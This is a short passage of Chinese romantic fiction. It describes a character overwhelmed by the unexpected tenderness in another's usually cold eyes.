那双平日里清冷如霜的眼眸,此刻似藏有无尽的温柔与情意,让他失去了所有力气,只能溺毙在这汪深潭之中,任由那炽热的情感将自己紧紧包裹。